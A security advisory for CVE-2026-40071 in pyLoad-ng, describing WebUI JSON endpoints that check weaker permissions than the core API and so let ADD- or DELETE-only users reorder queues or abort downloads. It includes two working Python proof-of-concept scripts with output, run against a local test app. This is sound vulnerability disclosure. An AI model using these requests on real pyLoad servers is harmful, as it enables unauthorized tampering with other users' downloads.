CVE-2026-40071

Description

### Summary Several WebUI JSON endpoints enforce weaker permissions than the core API methods they invoke. This allows authenticated low-privileged users to execute `MODIFY` operations that should be denied by pyLoad's own permission model. Confirmed mismatches: - `ADD` user can reorder packages/files (`order_package`, `order_file`) via `/json/package_order` and `/json/link_order` - `DELETE` user can abort downloads (`stop_downloads`) via `/json/abort_link` ### Details pyLoad defines granular permissions in core API: - `order_package` requires `Perms.MODIFY` (`src/pyload/core/api/__init__.py:1125`) - `order_file` requires `Perms.MODIFY` (`src/pyload/core/api/__init__.py:1137`) - `stop_downloads` requires `Perms.MODIFY` (`src/pyload/core/api/__init__.py:1046`) But WebUI JSON routes use weaker checks: - `/json/package_order` uses `@login_required("ADD")` then calls `api.order_package(...)` (`src/pyload/webui/app/blueprints/json_blueprint.py:109-117`) - `/json/link_order` uses `@login_required("ADD")` then calls `api.order_file(...)` (`src/pyload/webui/app/blueprints/json_blueprint.py:137-145`) - `/json/abort_link` uses `@login_required("DELETE")` then calls `api.stop_downloads(...)` (`src/pyload/webui/app/blueprints/json_blueprint.py:123-131`) Why this is likely unintended (not just convenience): - The same JSON blueprint correctly protects other edit actions with `MODIFY`: - `/json/move_package` -> `@login_required("MODIFY")` (`json_blueprint.py:188-196`) - `/json/edit_package` -> `@login_required("MODIFY")` (`json_blueprint.py:202-217`) - The project UI exposes granular per-user permission assignment (`settings.html:184-190`), implying these boundaries are intended security controls. ### PoC Environment: - Repository version: `0.5.0b3` (`VERSION` file) - Commit tested: `ddc53b3d7` PoC A (ADD-only user invokes MODIFY-only reorder): ```python import os import sys from types import SimpleNamespace sys.path.insert(0, os.path.abspath('src')) from flask import Flask from pyload.core.api import Api, Perms, Role from pyload.webui.app.blueprints import json_blueprint class FakeApi: def __init__(self): self.calls = [] def user_exists(self, username): return username == 'attacker' def order_package(self, pack_id, pos): self.calls.append(('order_package', int(pack_id), int(pos))) def order_file(self, file_id, pos): self.calls.append(('order_file', int(file_id), int(pos))) api = Api(SimpleNamespace(_=lambda x: x)) ctx = {'role': Role.USER, 'permission': Perms.ADD} print('API auth (ADD-only) order_package:', api.is_authorized('order_package', ctx)) print('API auth (ADD-only) order_file:', api.is_authorized('order_file', ctx)) app = Flask(__name__) app.secret_key = 'k' app.config['TESTING'] = True app.config['WTF_CSRF_ENABLED'] = False f = FakeApi() app.config['PYLOAD_API'] = f app.register_blueprint(json_blueprint.bp) with app.test_client() as c: with c.session_transaction() as s: s['authenticated'] = True s['name'] = 'attacker' s['role'] = int(Role.USER) s['perms'] = int(Perms.ADD) r1 = c.post('/json/package_order', json={'pack_id': 5, 'pos': 0}) r2 = c.post('/json/link_order', json={'file_id': 77, 'pos': 1}) print('HTTP /json/package_order:', r1.status_code, r1.get_data(as_text=True).strip()) print('HTTP /json/link_order:', r2.status_code, r2.get_data(as_text=True).strip()) print('calls:', f.calls) ``` Observed output: ```text API auth (ADD-only) order_package: False API auth (ADD-only) order_file: False HTTP /json/package_order: 200 {"response":"success"} HTTP /json/link_order: 200 {"response":"success"} calls: [('order_package', 5, 0), ('order_file', 77, 1)] ``` PoC B (DELETE-only user invokes MODIFY-only stop_downloads): ```python import os import sys from types import SimpleNamespace sys.path.insert(0, os.path.abspath('src')) from flask import Flask from pyload.core.api import Api, Perms, Role from pyload.webui.app.blueprints import json_blueprint class FakeApi: def __init__(self): self.calls = [] def user_exists(self, username): return username == 'u' def stop_downloads(self, ids): self.calls.append(('stop_downloads', ids)) api = Api(SimpleNamespace(_=lambda x: x)) ctx = {'role': Role.USER, 'permission': Perms.DELETE} print('API auth (DELETE-only) stop_downloads:', api.is_authorized('stop_downloads', ctx)) app = Flask(__name__) app.secret_key = 'k' app.config['TESTING'] = True app.config['WTF_CSRF_ENABLED'] = False f = FakeApi() app.config['PYLOAD_API'] = f app.register_blueprint(json_blueprint.bp) with app.test_client() as c: with c.session_transaction() as s: s['authenticated'] = True s['name'] = 'u' s['role'] = int(Role.USER) s['perms'] = int(Perms.DELETE) r = c.post('/json/abort_link', json={'link_id': 999}) print('HTTP /json/abort_link:', r.status_code, r.get_data(as_text=True).strip()) print('calls:', f.calls) ``` Observed output: ```text API auth (DELETE-only) stop_downloads: False HTTP /json/abort_link: 200 {"response":"success"} calls: [('stop_downloads', [999])] ``` ### Impact Type: - Improper authorization / permission-bypass between WebUI and core API permission model. Scope: - Horizontal privilege escalation among authenticated non-admin users. - Not admin takeover, but unauthorized execution of operations explicitly categorized as `MODIFY`. Security impact: - Integrity impact: unauthorized queue/file reordering by users lacking `MODIFY`. - Availability impact: unauthorized abort of active downloads by users lacking `MODIFY`.

Affected packages (1)

• PyPI/pyload-ngfrom 0, <= 0.5.0b3

CVSS scores

References (3)

• ADVISORYhttps://nvd.nist.gov/vuln/detail/CVE-2026-40071
• PATCHhttps://github.com/pyload/pyload
• WEBhttps://github.com/pyload/pyload/security/advisories/GHSA-rfgh-63mg-8pwm